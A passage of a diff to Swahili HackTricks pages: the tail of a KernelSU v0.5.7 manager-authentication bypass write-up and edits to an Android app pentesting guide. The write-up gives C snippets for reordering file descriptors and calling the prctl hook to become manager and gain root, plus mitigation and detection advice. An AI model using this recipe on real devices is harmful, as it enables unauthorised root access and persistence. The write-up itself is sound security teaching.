- Skana ya FD haishikilii kitambulisho cha pakiti ya mwitishaji; inalinganisha tu nyuzi za njia.
|
||||
- open() inarudisha FD ya chini zaidi inayopatikana. Kwa kufunga FDs zenye nambari za chini kwanza, mshambuliaji anaweza kudhibiti mpangilio.
|
||||
- Filter inakagua tu kwamba njia inalingana na /data/app/*/base.apk – si kwamba inahusiana na pakiti iliyosakinishwa ya mwitishaji.
|
||||
|
||||
---
|
||||
## Masharti ya shambulizi
|
||||
|
||||
- Kifaa tayari kimejishikilia na mfumo wa rooting wenye udhaifu (mfano, KernelSU v0.5.7).
|
||||
- Mshambuliaji anaweza kukimbia msimbo wowote usio na kibali ndani (mchakato wa programu ya Android).
|
||||
- Meneja halisi bado hajathibitishwa (mfano, mara tu baada ya kuanzisha upya). Mifumo mingine huhifadhi UID ya meneja baada ya mafanikio; lazima ushinde mbio.
|
||||
|
||||
---
|
||||
## Muhtasari wa unyakuzi (KernelSU v0.5.7)
|
||||
|
||||
Hatua za juu:
|
||||
1) Jenga njia halali kwa saraka ya data ya programu yako ili kukidhi ukaguzi wa awali na umiliki.
|
||||
2) Hakikisha APK halisi ya Meneja wa KernelSU imefunguliwa kwenye FD yenye nambari ya chini kuliko base.apk yako.
|
||||
3) Itisha prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) ili kupita ukaguzi.
|
||||
4) Toa amri za kibali kama CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY ili kudumisha ongezeko.
|
||||
|
||||
Maelezo ya vitendo kuhusu hatua ya 2 (mpangilio wa FD):
|
||||
- Tambua FD ya mchakato wako kwa /data/app/*/base.apk yako kwa kutembea kwenye symlinks za /proc/self/fd.
|
||||
- Funga FD ya chini (mfano, stdin, fd 0) na fungua APK halali ya meneja kwanza ili iweze kuchukua fd 0 (au index yoyote chini ya fd ya base.apk yako).
|
||||
- Panga APK halali ya meneja pamoja na programu yako ili njia yake ikidhi filter ya kijinga ya kernel. Kwa mfano, weka chini ya njia ndogo inayolingana na /data/app/*/base.apk.
|
||||
|
||||
Mfano wa vipande vya msimbo (Android/Linux, kwa mfano tu):
|
||||
|
||||
Tathmini FDs wazi ili kutafuta entries za base.apk:
|
||||
```c
|
||||
#include <dirent.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
|
||||
DIR *d = opendir("/proc/self/fd");
|
||||
if (!d) return -1;
|
||||
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
|
||||
int best_fd = -1;
|
||||
while ((e = readdir(d))) {
|
||||
if (e->d_name[0] == '.') continue;
|
||||
int fd = atoi(e->d_name);
|
||||
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
|
||||
ssize_t n = readlink(link, p, sizeof(p)-1);
|
||||
if (n <= 0) continue; p[n] = '\0';
|
||||
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
|
||||
if (best_fd < 0 || fd < best_fd) {
|
||||
best_fd = fd; strncpy(out_path, p, PATH_MAX);
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
return best_fd; // First (lowest) matching fd
|
||||
}
|
||||
```
|
||||
Force a lower-numbered FD kuonyesha kwenye APK halali ya meneja:
|
||||
```c
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
|
||||
// Reuse stdin (fd 0) if possible so the next open() returns 0
|
||||
close(0);
|
||||
int fd = open(legit_apk_path, O_RDONLY);
|
||||
(void)fd; // fd should now be 0 if available
|
||||
}
|
||||
```
|
||||
Msimamizi wa uthibitishaji kupitia prctl hook:
|
||||
```c
|
||||
#include <sys/prctl.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define KSU_MAGIC 0xDEADBEEF
|
||||
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
|
||||
|
||||
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
|
||||
unsigned long arg3, unsigned long arg4) {
|
||||
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
int become_manager(const char *my_data_dir) {
|
||||
long result = -1;
|
||||
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
|
||||
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
|
||||
return (int)result;
|
||||
}
|
||||
```
|
||||
Baada ya mafanikio, amri zenye mamlaka (mfano):
|
||||
- CMD_GRANT_ROOT: pandisha mchakato wa sasa kuwa root
|
||||
- CMD_ALLOW_SU: ongeza kifurushi/chapa yako kwenye orodha ya ruhusa kwa su ya kudumu
|
||||
- CMD_SET_SEPOLICY: badilisha sera ya SELinux kama inavyoungwa mkono na mfumo
|
||||
|
||||
Vidokezo vya race/persistence:
|
||||
- Jisajili kama mpokeaji wa BOOT_COMPLETED katika AndroidManifest (RECEIVE_BOOT_COMPLETED) ili kuanza mapema baada ya kuanzisha upya na kujaribu uthibitisho kabla ya meneja halisi.
|
||||
|
||||
---
|
||||
## Mwongozo wa kugundua na kupunguza
|
||||
|
||||
Kwa waendelezaji wa mfumo:
|
||||
- Funga uthibitisho kwa kifurushi/chapa ya mpiga simu, si kwa FDs zisizo na mpangilio:
|
||||
- Pata kifurushi cha mpiga simu kutoka kwa chapa yake na kuthibitisha dhidi ya saini ya kifurushi kilichosakinishwa (kupitia PackageManager) badala ya kuskanisha FDs.
|
||||
- Ikiwa ni kernel pekee, tumia kitambulisho thabiti cha mpiga simu (task creds) na kuthibitisha kwenye chanzo thabiti cha ukweli kinachosimamiwa na init/userspace helper, si FDs za mchakato.
|
||||
- Epuka ukaguzi wa njia-prefix kama kitambulisho; ni rahisi kutimizwa na mpiga simu.
|
||||
- Tumia changamoto ya nonce–jibu kupitia channel na safisha kitambulisho chochote cha meneja kilichohifadhiwa wakati wa kuanzisha au kwenye matukio muhimu.
|
||||
- Fikiria IPC iliyothibitishwa kwa kutumia binder badala ya kupakia syscalls za kawaida inapowezekana.
|
||||
|
||||
Kwa walinzi/timu ya buluu:
|
||||
- Gundua uwepo wa mifumo ya rooting na michakato ya meneja; angalia kwa simu za prctl zenye nambari za kichawi zisizo za kawaida (mfano, 0xDEADBEEF) ikiwa una telemetry ya kernel.
|
||||
- Katika meli zinazodhibitiwa, zuia au onyo juu ya wapokeaji wa kuanzisha kutoka kwa kifurushi kisichotegemewa ambacho kinajaribu haraka amri za meneja zenye mamlaka baada ya kuanzisha.
|
||||
- Hakikisha vifaa vimeboreshwa kwa toleo la mfumo lililosasishwa; batilisha vitambulisho vya meneja vilivyohifadhiwa kwenye sasisho.
|
||||
|
||||
Vikwazo vya shambulio:
|
||||
- Inahusisha tu vifaa ambavyo tayari vime-rooted na mfumo dhaifu.
|
||||
- Kawaida inahitaji kuanzisha upya/dirisha la race kabla ya meneja halali kuthibitisha (mifumo mingine huhifadhi UID ya meneja hadi upya).
|
||||
|
||||
---
|
||||
## Maelezo yanayohusiana kati ya mifumo
|
||||
|
||||
- Uthibitisho wa msingi wa nenosiri (mfano, toleo la kihistoria la APatch/SKRoot) unaweza kuwa dhaifu ikiwa nenosiri yanaweza kukisiwa/kupigwa nguvu au uthibitisho ni wa kasoro.
|
||||
- Uthibitisho wa msingi wa kifurushi/saini (mfano, KernelSU) ni thabiti kwa kanuni lakini lazima uunganishwe na mpiga simu halisi, si vitu vya moja kwa moja kama skana za FD.
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP) ilionyesha kwamba hata mifumo iliyokomaa inaweza kuwa na hatari ya kudanganya kitambulisho inayopelekea utekelezaji wa msimbo na root ndani ya muktadha wa meneja.
|
||||
|
||||
---
|
||||
## Marejeleo
|
||||
|
||||
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
|
||||
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
|
||||
- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
|
||||
- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
|
||||
- [KernelSU project](https://kernelsu.org/)
|
||||
- [APatch](https://github.com/bmax121/APatch)
|
||||
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
|
||||
- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
|
||||
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Msingi wa Programu za Android
|
||||
## Misingi ya Programu za Android
|
||||
|
||||
Inapendekezwa sana kuanza kusoma ukurasa huu ili kujua kuhusu **sehemu muhimu zaidi zinazohusiana na usalama wa Android na vipengele hatari zaidi katika programu ya Android**:
|
||||
|
||||
@ -13,23 +13,23 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichosimuliwa au halisi).\
|
||||
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Hii huduma inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** kumbukumbu, kati ya kazi nyingine.
|
||||
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Hii huduma inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala ya** data, **kusoma** kumbukumbu, kati ya kazi nyingine.
|
||||
|
||||
Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi ya kutumia adb.
|
||||
Angalia orodha ifuatayo ya [**Amri za ADB**](adb-commands.md) kujifunza jinsi ya kutumia adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Wakati mwingine ni muhimu **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Hivyo, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\
|
||||
[**Katika tutorial hii** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala kwa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambayo yatpresentwa. Hivyo, **weka daima katika akili uwezekano huu**.
|
||||
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala kwa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Hivyo, **weka daima katika akili uwezekano huu**.
|
||||
|
||||
## Njia nyingine za kuvutia
|
||||
|
||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Kudanganya eneo lako katika Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- [Kunutumia Mbinu za Sasisho za Ndani zisizo Salama](insecure-in-app-update-rce.md)
|
||||
- [Kunyanyasa Huduma za Uwezo (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Pakua APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extract APK from device:
|
||||
- Toa APK kutoka kifaa:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -54,39 +54,43 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## Static Analysis
|
||||
|
||||
Kwanza kabisa, kwa kuchambua APK unapaswa **kuangalia msimbo wa Java** kwa kutumia decompiler.\
|
||||
Tafadhali, [**soma hapa kupata taarifa kuhusu decompilers mbalimbali zinazopatikana**](apk-decompilers.md).
|
||||
|
||||
### Kuangalia Taarifa za Kuvutia
|
||||
### Looking for interesting Info
|
||||
|
||||
Kwa kuangalia **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** funguo, **sifuri**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (akili za admin zilizowekwa kwenye programu).
|
||||
Kwa kuangalia **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** funguo, **sifuri**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (akili za admin zilizowekwa ndani ya programu).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Lipa kipaumbele maalum kwa **firebase URLs** na angalia kama imewekwa vibaya. [Taarifa zaidi kuhusu nini FIrebase na jinsi ya kuitumia hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Lipa kipaumbele maalum kwa **firebase URLs** na angalia kama imewekwa vibaya. [Taarifa zaidi kuhusu nini FIrebase na jinsi ya kuikandamiza hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Uelewa wa Msingi wa Programu - Manifest.xml, strings.xml
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
|
||||
**Uchambuzi wa faili za _Manifest.xml_ za programu na **_strings.xml_** unaweza kufichua udhaifu wa usalama**. Faili hizi zinaweza kufikiwa kwa kutumia decompilers au kwa kubadilisha kiendelezi cha faili la APK kuwa .zip na kisha kuzipa.
|
||||
**uchambuzi wa faili za _Manifest.xml_ za programu na **_strings.xml_** unaweza kufichua udhaifu wa usalama**. Faili hizi zinaweza kufikiwa kwa kutumia decompilers au kwa kubadilisha kiendelezi cha faili la APK kuwa .zip na kisha kuzipa.
|
||||
|
||||
**Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na:
|
||||
|
||||
- **Programu Zinazoweza Kurekebishwa**: Programu zilizowekwa kama debuggable (`debuggable="true"`) katika faili la _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa uelewa zaidi kuhusu jinsi ya kutumia programu zinazoweza kurekebishwa, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kurekebishwa kwenye kifaa.
|
||||
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulikia taarifa nyeti ili kuzuia nakala zisizoidhinishwa kupitia adb, hasa wakati urekebishaji wa usb umewezeshwa.
|
||||
- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili ya _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa ufahamu zaidi kuhusu jinsi ya kukandamiza programu zinazoweza kudhibitiwa, rejelea mafunzo juu ya kutafuta na kukandamiza programu zinazoweza kudhibitiwa kwenye kifaa.
|
||||
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulika na taarifa nyeti ili kuzuia nakala zisizoidhinishwa kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa.
|
||||
- **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pini za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum.
|
||||
- **Shughuli na Huduma Zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dynamic unaweza kufichua jinsi ya kutumia vipengele hivi.
|
||||
- **Shughuli na Huduma zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dinamik unaweza kufichua jinsi ya kukandamiza vipengele hivi.
|
||||
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa kwa makini.
|
||||
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum kuhusu jinsi mipango ya URL inavyosimamiwa kwa udhaifu wa ingizo.
|
||||
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikionyesha umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
|
||||
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum juu ya jinsi mipango ya URL inavyosimamiwa kwa udhaifu wa ingizo.
|
||||
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikisisitiza umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
|
||||
|
||||
Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama funguo za API, mipango ya kawaida, na maelezo mengine ya waendelezaji yanaweza kugundulika, yakisisitiza hitaji la ukaguzi wa makini wa rasilimali hizi.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati ikipitia mwingiliano huo kwa programu ya mwathirika.\
|
||||
Kwa hivyo, inafanya **mtumiaji asijue kuwa anafanya vitendo kwenye programu ya mwathirika**.
|
||||
Kwa hivyo, inafanya **mtumiaji asijue kwamba anafanya vitendo kwenye programu ya mwathirika**.
|
||||
|
||||
Pata taarifa zaidi katika:
|
||||
|
||||
@ -96,7 +100,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakuwa hatarini kwa task Hijacking. Hii inamaanisha kuwa, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
|
||||
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakuwa hatarini kwa task Hijacking. Hii inamaanisha kwamba, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuhijack kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
|
||||
|
||||
Taarifa zaidi katika:
|
||||
|
||||
@ -104,30 +108,30 @@ Taarifa zaidi katika:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Hifadhi ya Data Isiyo Salama
|
||||
### Insecure data storage
|
||||
|
||||
**Hifadhi ya Ndani**
|
||||
|
||||
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuizi ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
|
||||
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zime **kusudiwa** kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuizi ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
|
||||
|
||||
1. **Uchambuzi wa Kawaida:**
|
||||
- **Hakikisha** kuwa matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usiotarajiwa**.
|
||||
2. **Uchambuzi wa Dynamic:**
|
||||
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
|
||||
- **Hakikisha** kwamba matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usioidhinishwa**.
|
||||
2. **Uchambuzi wa Dinamik:**
|
||||
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote ime **wekwa kuwa inasomeka au kuandikwa duniani kote**. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
|
||||
|
||||
**Hifadhi ya Nje**
|
||||
|
||||
Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, tahadhari fulani zinapaswa kuchukuliwa:
|
||||
|
||||
1. **Ufikivu**:
|
||||
1. **Upatikanaji**:
|
||||
- Faili kwenye hifadhi ya nje ni **zinazosomeka na kuandikwa duniani kote**. Hii inamaanisha programu au mtumiaji yeyote anaweza kufikia faili hizi.
|
||||
2. **Masuala ya Usalama**:
|
||||
- Kwa kuzingatia urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje.
|
||||
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kuifanya kuwa isiyo salama.
|
||||
- Kwa sababu ya urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje.
|
||||
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kufanya kuwa na usalama mdogo.
|
||||
3. **Kushughulikia Data kutoka Hifadhi ya Nje**:
|
||||
- Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika.
|
||||
- Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dynamic kunashauriwa kutoendeshwa.
|
||||
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya cryptographic** kabla ya kupakiwa kwa dynamic. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
|
||||
- Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunashauriwa kutoonekana.
|
||||
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zime saini na kuthibitishwa kwa njia ya kisayansi** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uadilifu wa usalama wa programu yako.
|
||||
|
||||
Hifadhi ya nje inaweza kufikiwa katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
@ -139,9 +143,9 @@ Hifadhi ya nje inaweza kufikiwa katika `/storage/emulated/0`, `/sdcard`, `/mnt/s
|
||||
- **Mipangilio ya pamoja**: Android inaruhusu kila programu kuhifadhi kwa urahisi faili za xml katika njia `/data/data/<packagename>/shared_prefs/` na wakati mwingine inawezekana kupata taarifa nyeti kwa maandiko wazi katika folda hiyo.
|
||||
- **Maktaba**: Android inaruhusu kila programu kuhifadhi kwa urahisi maktaba za sqlite katika njia `/data/data/<packagename>/databases/` na wakati mwingine inawezekana kupata taarifa nyeti kwa maandiko wazi katika folda hiyo.
|
||||
|
||||
### TLS Iliyovunjika
|
||||
### Broken TLS
|
||||
|
||||
**Kubali Vyeti Vyote**
|
||||
**Kubaliana na Vyeti Vyote**
|
||||
|
||||
Kwa sababu fulani wakati mwingine waendelezaji wanakubali vyeti vyote hata kama kwa mfano jina la mwenyeji halifanani na mistari ya msimbo kama ifuatavyo:
|
||||
```java
|
||||
@ -150,11 +154,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama Burp bila kuidhinisha Burp CA ndani ya kifaa. Pia, unaweza kuunda na Burp cheti kwa jina la mwenyeji tofauti na kulitumika.
|
||||
|
||||
### Uthibitishaji wa Kifaa
|
||||
### Uthibitishaji wa Kificho
|
||||
|
||||
**Mchakato Mbaya wa Usimamizi wa Funguo**
|
||||
|
||||
Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa nguvu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
|
||||
Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa ngumu/zinazoweza kutabiriwa katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
|
||||
|
||||
**Matumizi ya Algorithimu zisizo Salama na/au Zilizopitwa na Wakati**
|
||||
|
||||
@ -162,10 +166,10 @@ Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **uk
|
||||
|
||||
### Ukaguzi Mwingine
|
||||
|
||||
- Inapendekezwa **kuhifadhi APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake wa kuona kama simu imejikita** na kuchukua hatua.
|
||||
- Inapendekezwa **kuficha APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake mwenyewe kuona kama simu imejikita** na kuchukua hatua zinazofaa.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuangalia kama imebadilishwa.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa.
|
||||
- Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni compiler/packer/obfuscator gani ilitumika kujenga APK
|
||||
|
||||
### Programu ya React Native
|
||||
@ -186,25 +190,25 @@ Soma ukurasa ufuatao kujifunza jinsi ya kufikia kwa urahisi msimbo wa C# wa prog
|
||||
|
||||
### Programu za Superpacked
|
||||
|
||||
Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshughulikia maudhui ya programu katika faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshughulikia programu hizi... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshughulikiwa kutoka mfumo wa faili.**
|
||||
